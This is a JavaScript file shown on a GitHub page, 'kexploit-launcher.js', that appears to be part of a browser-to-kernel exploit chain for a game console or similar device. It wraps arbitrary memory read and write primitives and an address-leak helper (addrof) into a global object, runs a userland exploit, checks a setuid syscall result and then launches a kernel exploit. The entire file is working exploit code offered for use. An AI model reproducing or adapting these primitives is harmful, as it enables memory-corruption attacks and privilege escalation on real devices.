-
Notifications
You must be signed in to change notification settings - Fork 0
/
kexploit-launcher.js
84 lines (83 loc) · 2.28 KB
/
kexploit-launcher.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
window.p = {
write8: function(addr, value) {
if(value instanceof int64)
{
var q = [0, 0, 0, 0, 0, 0, 0, 0];
var q2 = value.low;
for(var i = 0; i < 4; i++)
{
q[i] = q2 & 255;
q2 >>= 8;
}
q2 = value.hi;
for(var i = 4; i < 8; i++)
{
q[i] = q2 & 255;
q2 >>= 8;
}
write_mem(addr.hi*0x100000000+addr.low, q);
}
else
write_ptr_at(addr.hi*0x100000000+addr.low, value);
},
write4: function(addr, value) {
if(value instanceof int64)
value = value.low;
var q = [0, 0, 0, 0];
for(var i = 0; i < 4; i++)
{
q[i] = value & 255;
value >>= 8;
}
write_mem(addr.hi*0x100000000+addr.low, q);
},
write2: function(addr, value) {
if(value instanceof int64)
value = value.low;
write_mem(addr.hi*0x100000000+addr.low, [value&255, (value>>8)&255]);
},
write1: function(addr, value) {
if(value instanceof int64)
value = value.low;
write_mem(addr.hi*0x100000000+addr.low, [value&255]);
},
read8: function(addr) {
var q = read_mem(addr.hi*0x100000000+addr.low, 8);
var low = 0;
for(var i = 3; i >= 0; i--)
low = 256 * low + q[i];
var high = 0;
for(var i = 7; i >= 4; i--)
high = 256 * high + q[i];
return new int64(low, high);
},
read4: function(addr) {
var q = read_mem(addr.hi*0x100000000+addr.low, 4);
var ans = 0;
for(var i = 3; i >= 0; i--)
ans = 256 * ans + q[i];
return ans;
},
read2: function(addr) {
var ans = read_mem(addr.hi*0x100000000+addr.low, 2);
return ans[1] * 256 + ans[0];
},
read1: function(addr) {
return read_mem(addr.hi*0x100000000+addr.low, 1)[0];
},
leakval: function(obj) {
var ans = addrof(obj);
return new int64(ans % 0x100000000, (ans - ans % 0x100000000) / 0x100000000);
}
};
try
{
userland();
if(chain.syscall(23, 0).low != 0x0)
kernel();
//supply our own payload loader
}
catch(e)
{
alert(e+'\n'+e.stack);
}